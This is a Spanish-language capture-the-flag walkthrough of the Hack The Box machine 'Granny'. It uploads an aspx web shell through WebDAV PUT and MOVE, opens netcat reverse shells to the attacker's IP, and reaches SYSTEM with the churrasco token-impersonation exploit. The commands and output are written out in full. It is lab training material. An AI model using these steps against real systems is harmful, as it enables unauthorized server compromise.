Writeup HTB - Maquina Granny
Granny
 
Resumen
Scan Nmap
# Nmap 7.92 scan initiated Sat Feb 19 10:28:27 2022 as: nmap -sC -sV -p80 -oN targeted -Pn -vvv 10.129.144.63
Nmap scan report for 10.129.144.63
Host is up, received user-set (0.17s latency).
Scanned at 2022-02-19 10:28:28 -05 for 11s
PORT   STATE SERVICE REASON          VERSION
80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 6.0
| http-webdav-scan: 
|   Server Date: Sat, 19 Feb 2022 15:28:37 GMT
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   Server Type: Microsoft-IIS/6.0
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|_  WebDAV type: Unknown
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT POST
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 19 10:28:39 2022 -- 1 IP address (1 host up) scanned in 12.14 seconds
Port 80
ya que el unico puerto es el 80, revisamos la pagina web y nos vemos nada en especial mas que una pagina que dice Under Construccion

pero el escaneo de nmap nos dice que tenemos activado webdav y que podemos usar varios metodos HTTP. Por lo tanto hacemos uso de la pagina de hacktricks para saber que es webdav y como podemos atacarlo
https://book.hacktricks.xyz/pentesting/pentesting-web/put-method-webdav
haciendo uso de la guia de hacktricks usaremos davtest pero el resultado es que usando el metodo http PUT podemos subir archivos con extension html y txt. Pero el problema es que nesecitamos subir un archivo con extension asp o aspx para obtener una webshell y poder ejecutar comandos en la maquina victima
Granny # ❯ davtest -url http://10.129.144.63                  
********************************************************
 Testing DAV connection
OPEN		SUCCEED:		http://10.129.144.63
********************************************************
NOTE	Random string for this session: Jt6SGhm65hOOp6
********************************************************
 Creating directory
MKCOL		SUCCEED:		Created http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6
********************************************************
 Sending test files
PUT	asp	FAIL
PUT	aspx	FAIL
PUT	cgi	FAIL
PUT	pl	SUCCEED:	http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.pl
PUT	html	SUCCEED:	http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.html
PUT	php	SUCCEED:	http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.php
PUT	jhtml	SUCCEED:	http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.jhtml
PUT	cfm	SUCCEED:	http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.cfm
PUT	txt	SUCCEED:	http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.txt
PUT	jsp	SUCCEED:	http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.jsp
PUT	shtml	FAIL
********************************************************
 Checking for test file execution
EXEC	pl	FAIL
EXEC	html	SUCCEED:	http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.html
EXEC	php	FAIL
EXEC	jhtml	FAIL
EXEC	cfm	FAIL
EXEC	txt	SUCCEED:	http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.txt
EXEC	jsp	FAIL
********************************************************
/usr/bin/davtest Summary:
Created: http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6
PUT File: http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.pl
PUT File: http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.html
PUT File: http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.php
PUT File: http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.jhtml
PUT File: http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.cfm
PUT File: http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.txt
PUT File: http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.jsp
Executes: http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.html
Executes: http://10.129.144.63/DavTestDir_Jt6SGhm65hOOp6/davtest_Jt6SGhm65hOOp6.txt
como vemos en nmap nos dice que que tambien debemos poder usar el metodo http MOVE, asi podriamos subir una webshell con extension txt y despues con MOVE cambiar a una extension asp o aspx
Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Asi pues usare esta web shell en aspx
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
descargare la web shell y lo renombare a shell.txt
Granny # ❯ wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmd.aspx
Granny # ❯ mv cmd.aspx shell.txt
utilizare cadaver para subirlo utilizando el metodo HTTP - PUT
Granny # ❯ cadaver 10.129.144.63                                           
dav:/> put cmd.txt
Transferiendo cmd.txt a '/cmd.txt':
 Progreso: [                              ]   0,0% of 4260 bytes Progreso: [=============================>] 100,0% of 4260 bytes exitoso.
dav:/>
probamos si todo subio correctamente y efectivamente todo subio sin problemas

ahora usamos el metodo HTTP - MOVE para renombrar cmd.txt a cmd.aspx
Granny # ❯ cadaver 10.129.144.63                                           
dav:/> put cmd.txt
Transferiendo cmd.txt a '/cmd.txt':
 Progreso: [                              ]   0,0% of 4260 bytes Progreso: [=============================>] 100,0% of 4260 bytes exitoso.
dav:/> move cmd.txt cmd.aspx
Moviendo '/cmd.txt' a '/cmd.aspx':  exitoso.
dav:/>
de esta manera logramos ejecutar comandos usando nuestra web shell usando cmd.apsx

Reverse shell
para obtener una reverse shell crearemos un servidor smb con impacket para poder compartir nuestras herramientas a la maquinas victima como netcat
Granny # ❯ impacket-smbserver shared . -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
dejamos en escucha el puerto 443 con netcat en nuestra maquina local
Granny # ❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
ejecutamos la siguiente linea de comandos en nuestra web shell
/c \\10.10.14.54\shared\nc.exe -e cmd.exe 10.10.14.54 443

de esta manera logramos obtener nuestra reverse shell
Granny # ❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.144.63] 1044
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
whoami
whoami
nt authority\network service
Escalacion de privilegios
enumeramos los privilegios que tenemos este usuario y vemos que tenemos activado el privilegio SeImpersonatePrivilege
c:\windows\system32\inetsrv> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                 Description                               State
============================== ========================================= ========
SeAuditPrivilege               Generate security audits                  Disabled
SeIncreaseQuotaPrivilege       Adjust memory quotas for a process        Disabled
SeAssignPrimaryTokenPrivilege  Replace a process level token             Disabled
SeChangeNotifyPrivilege        Bypass traverse checking                  Enabled
SeImpersonatePrivilege         Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege        Create global objects                     Enabled
segun investigando vemos que podemos usar este exploit ya que tenemos activado el privilegio SeImpersonatePrivilege
https://www.exploit-db.com/exploits/32891
y los sistemas operativos afectatos son
The issue affects the following:
Windows XP SP2
Windows Server 2003
Windows Vista
Windows Server 2008
descargamos el exploit compilado de la siguiente enlace
https://github.com/Re4son/Churrasco/blob/master/churrasco.exe
creamos una carpeta y copiamos nuestro exploit churrasco.exe y netcat a la maquina victima
mkdir privesc
cd privesc
copy \\10.10.14.54\shared\nc.exe C:\WINDOWS\Temp\privesc\nc.exe
        1 file(s) copied.
copy \\10.10.14.54\shared\churrasco.exe C:\WINDOWS\Temp\privesc\churrasco.exe
        1 file(s) copied.
C:\WINDOWS\Temp\privesc>
probamos nuestro exploit y vemos que podemos ejecutar comando con permisos de nt authority system

churrasco.exe whoami
nt authority\system
C:\WINDOWS\Temp\privesc>
ahora dejamos el puerto 443 en escucha en nuestra maquina local
Granny # ❯ nc -nlvp 443
listening on [any] 443 ...
ejecutamos la siguiente linea de comandos para obtener una reverse shell
churrasco.exe "C:\WINDOWS\Temp\privesc\nc.exe -e cmd.exe 10.10.14.54 443"
C:\WINDOWS\Temp\privesc>
de esta manera obtenemos una reverse shell con privilegios de nt authority system

 
      
     
       
       
      